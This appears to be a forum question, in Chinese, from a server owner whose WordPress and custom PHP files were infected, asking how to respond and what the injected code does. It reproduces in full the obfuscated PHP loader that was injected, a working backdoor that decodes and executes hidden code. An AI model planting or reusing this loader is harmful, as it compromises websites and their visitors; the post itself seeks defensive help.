我的服务器感染了 XSS 攻击。所有的 php 文件（所有的 wordpress、我的自定义 .php 脚本和应用程序）都注入了类似类型的加密代码，如下所示。
在这种情况下采取什么行动？我读过有关防止 XSS 的文章，但找不到可靠的指南来说明在受到攻击时该怎么做。
另外，我想知道是否可以解密下面注入的 php 代码：
<?php $wwykwjmqa = '281Ld]245]K2]285]Ke]53Ldd/#)rrd/#00;quui#>.%!<***f x27,*e x27,*d x27,*c x27,*4<%j,,*!| x24- x24gvodujpo! x24- x24y7 x24- x24*<7fw6<*K)ftpmdXA6|7**197*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!*#>m%:|:*r%:-t%)3of:opjudo%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]341]8^#zsfvr# x5cq%)ufttj x22)gj6<^#Y# x5cq% x27Y%6<.mif((function_exists(" x6f 1#W#-#C#-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tjw)mg%!)!gj!<2,*j%!-#1]#-bu,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00#W~!%t2-K)ebfsX x27u%)7fmjix2b%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%d($n)-1);} @error_reporting(0); $effwexo :>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)*#j{hnpd#)tutjyf`opjudovg x22)!gj}56A:>:8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275j{hn x7fw6*CW&)7gj6<*doj%7-C)fepmqz+sfwjidsb`bj+upcotn+qsvmt+fmhpph! x24- x24gps)%j>1<%j=tj{fpg)% x24- x24*<!~! x24/%t2w/ x24)##-!#~<)sutcvt)esp>hmg%!<12>j%!|!*#91y]c9y]g2y]#>>>! x24Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5c1^W%c!>!%i# x24#-!#]y38#-!%w:**<")));$dsngrwc d%6<pd%w6Z6<.4`hA x27pd%6< x24- x24!>! x24/%tjw/ x24)% x24- x24y4 x24- x281]265]y72]254]y76#<!%w:!>!(%w:!>! x246767~6<Cw6<pd%w6Z6<.5`hA x27p!|ftmf!~<**9.-j%-bubE{h%)sutcvt)fubmgoj{hA!os!osvufs}w;* x7f!>> x22!pd%)!gj}Z!-id%)uqpuft`msvd},;um!|!*5! x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-4-bubE{h%-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-4]y8 x24- x24]26 x24- x2b x27)fepdof.)fepdof./#@#/qp%>5h%!<*::::::-111112)eobs`un>qp%#<%tpz!>!#]D6M7]K3#<!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>! x24/%tmw/ x24)%zW%h>EzH]672]48y]#>s%<#462]47y]252]18y]#>q%<qpuft`msvd}+;!>!} x27;!>>>!}_;gvc%}&;ftmbg} x7f;]53]Kc]55Ld]55#*<%bG9}:}.}6*CW&)7gj6<.[A x27&6< x7fw6* x7f_*6<#o]1/20QUUI7jsv%7UFH# x27rfs%6~6< x]},;osvufs} x27;mnui}&;zepc}A;~!} x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]#/% x24- x24!>!fyqmpef)# x24*<!%t::!y3f]51L3]84]y31M6]y3e]81 x24b!>!%yy)#}#-# x24- x24-tusqpt)%z-#:#*!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfeob6<*msv%7-MSV,6<*)ujojR x27id%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6< x7fw5 x52 137 x41 107 x45 116 x54"]); if ((strstr($uas," x6d 163 x69 11~!<2p% x7f!~!<##!>!2p%Z<^2 x5c8M7]381]211M5]67]452]88]5]48]32M3]316e"; function wfvpmkm($n){return chr(or323zbe!-#jt0*?]+^?]_ x5c}X x24<!%tmw!>!#]#762]67y]562]38y]572]48y]dy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%tdz>#L8M4P8]37]278]225]241]334]368]322]3]364]6]283]427]36]373P6]36]73]83]23f_UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&by84]275]y83]273]y76]277#<!%t2w>#]y74]273]y76]252]y85]256]y6g]25x24- x24-!% x24- x24*!|! x24- x24 x5c%j^ x24- x24tvctus)% x24-%yy>#]D6]281L1#/#M5]DgP5]D6#<%f#-bubE{h%)tpqsut>j%!*9! x27!hmg%)!gj!~<ofmy%,3,j%>j%!<{6~6<tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)d:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-**3-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)utj7f<*X&Z&S{ftmfV x7f<*XAZASV<*w%)pmqyf x27*&7-n%)utjm6< x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**1111276<C x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%qp%)54l} x27;%!<*#}_;#)323ldfid>}&;!osvufs} x7f;!opjudo.uofuopD#)sfebfI{*w%)kVOBALS[" x61 156 x75 156 x6de#)tutjyf`4 x223}!+!<+{e%+*!*+fepdfe{h+{d%)+opjudovg+)!g28y]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=%!|!*)323zbek!~!<b% x7f!<X>b%Z<#opobE{h%)tpqsut>j%!*72! x27!hmg%)!gj!<2,*j%-#1]#)zbssb!-#}#)fepmqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxc:649#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*<4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]W%c:>1<%b:>1<!gps)%j#[k2`{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd`ufh`fj+{e%!osvufs!*!+A!>!{e%)!>> x22!ftmbg)!gj<*#k#)usbut`cpV x7f%j:>>1*!%b:>1<!fmtf!%b:>%s: x5c%j:.2^,%b:<!%c:>%s: x5c%j:^<!%w` x5c^>Ew:Qb:Qc:W~!%z!-}!#*<%nfd>%fdy<Cb*[%h!>!= $haczumi("", $effwexo); $dg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!fwbm)%tjw)bssbz)#P#-%tdz*Wsfuvso!%bss x5csboe))1/35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-%o:62 x65 141 x74 145 x5f 146 x75 156 x63 164 x69 157 xpmpusut)tpqssutRe%)Rd%)Rb%))!gj!<72qj%6<^#zsfvr# x5cqvg<~ x24<!%o:!>! x242178}527}88:}334}472 x24<!%ff2!>!bssbz) x24]25 x5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44e*h%)m%):fmjix:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y]472]37ypd19275fubmgoj{h1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppvufs!~<3,j%>j%!*3! x27!h*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&97e:56-xr.985:52985-t.98]K4]65]D8]86]y31]278]#/#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc1"]=1; $uas=strtolower($_SE=])0#)U! x27{**u%-#jt0}Z;0]=]0#pd%w6Z6<.3`hA x27pd%6<pd%w6Z6<.2`hA x2-2qj%7-K)udfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB-*.%)euhA)3of>2bd%!<5h%/#0#/*#npS[" x61 156 x75 156 x61"])))) { $GL#>b%!*##>>X)!gjZ<#opo#>b%!**X)ufttj x22)gj!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<j;h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvufs]K78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:52fyfR x27tfs%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,45")) or (strstr($uas," x72 166 x3a 61 x31"))) { $haczumi = " x63 1w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%bss-%r%7/7#@#7/7^#iubq# x5cq% x27jsv%6<C>^#zsfvr# x5cq%7**)fubfsdXA x27K6< x7fw6*3qj%7> x2272qj%)7gj6<**2qj%)hopm3qjA)qj36* x7f_*#fubfsdXk5`{66~6<&w6<|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdof`= implode(array_map("wfvpmkm",42 x5f 163 x74 141 x72 164") && (!isset($GLOBALsngrwc();}}vg}k~~9{d%:osvufs:~928>> x22:ftmbg39*x{**#k#)tutjyf`x x22l:!}V;3q%}U;y]}R;27]445]212]445]43]321]464]284]364]6]234]342]58]24]31#7]y86]267]y74]275]y7:]268]y7f#<!%tww!>! x2400~:<57ftbc x7f!|!*uyfu x27kmsvd}R;*msv%)}.;`UQPMSVDh%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]47]67y]37]88y]27]sv`ftsbqA7>q%6< x7fwppde>u%V<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,2njA x27&6<.fmjgA x27doj%6< x7fw6* x7f_*#fmjgk4`str_split("%tjw!>!#]y84]275]y83]248]y83]256]yxB%h>#]y31]278]y3e]81mjg}[;ldpt%}K;`ufldpt}X;`7pd%6<C x27pd%6|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fe7R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV;hojepdoFhopmA x273qj%6<*Y%)fnbozcYufhA x2)2q%l}S;2-u%!-#2#/#%#/#o]#/*) x7f x7f x7f<u%V x27{ftmfV xRVER[" x48 124 x54 120 x5f 125 x53 10sTrREvxNoiTCnuf_EtaerCxECalPer_Rtszbpugxmqd'; $xadaat=explode(chr((833-713)),substr($wwykwjmqa,(40926-35049),(188-154))); $ghhrhvx = $xadaat[0]($xadaat[(6-5)]); $ohxwtrqt = $xadaat[0]($xadaat[(11-9)]); if (!function_exists('dulwdh')) { function dulwdh($xjtystpc, $ukgzlz,$luupugng) { $bzudlnhrz = NULL; for($gynqittgr=0;$gynqittgr<(sizeof($xjtystpc)/2);$gynqittgr++) { $bzudlnhrz .= substr($ukgzlz, $xjtystpc[($gynqittgr*2)],$xjtystpc[($gynqittgr*2)+(4-3)]); } return $luupugng(chr((55-46)),chr((294-202)),$bzudlnhrz); }; } $fjslgcupn = explode(chr((164-120)),'333,27,5103,47,4482,35,3015,26,4296,27,5840,37,1993,66,4769,67,3755,52,2126,39,579,41,5073,30,5558,45,1075,67,1002,26,4354,38,5649,49,2818,70,493,21,2888,49,1656,37,126,23,4392,58,4934,63,5750,33,3840,20,4882,52,284,49,5442,20,4997,29,733,30,5511,47,2624,50,4708,61,1924,69,1622,34,3373,49,5624,25,5359,24,1219,21,1548,48,1187,32,4596,62,1142,45,4098,24,404,24,3171,44,2570,54,2743,43,1240,49,862,43,149,54,650,34,2059,31,514,65,4450,32,24,53,1366,61,1864,60,763,33,3215,58,3807,33,4122,63,2354,60,3136,35,4517,43,5026,47,5336,23,2674,69,2937,55,5161,37,684,49,4046,52,3041,57,3422,60,5812,28,2786,32,5462,49,5698,52,2992,23,5198,38,1693,70,4323,31,5783,29,2165,41,2414,63,5288,48,5383,59,3098,38,3988,58,1512,36,2206,25,203,25,3860,67,2477,62,1823,41,1028,47,1342,24,77,49,796,66,1763,36,905,61,3927,61,3273,44,1447,65,428,65,4836,46,5603,21,4658,50,4185,45,1799,24,4230,66,1427,20,2539,31,2231,54,3317,36,0,24,1596,26,3566,25,228,56,2285,69,2090,36,5236,52,3682,44,3726,29,3353,20,620,30,3482,64,3546,20,4560,36,3619,63,1289,53,360,44,966,36,3591,28,5150,11'); $cagbthgj = $ghhrhvx("",dulwdh($fjslgcupn,$wwykwjmqa,$ohxwtrqt)); $ghhrhvx=$wwykwjmqa; $cagbthgj(""); $cagbthgj=(638-517); $wwykwjmqa=$cagbthgj-1; ?>
只是为了了解它的作用以及它的来源？
提前感谢所有帮助！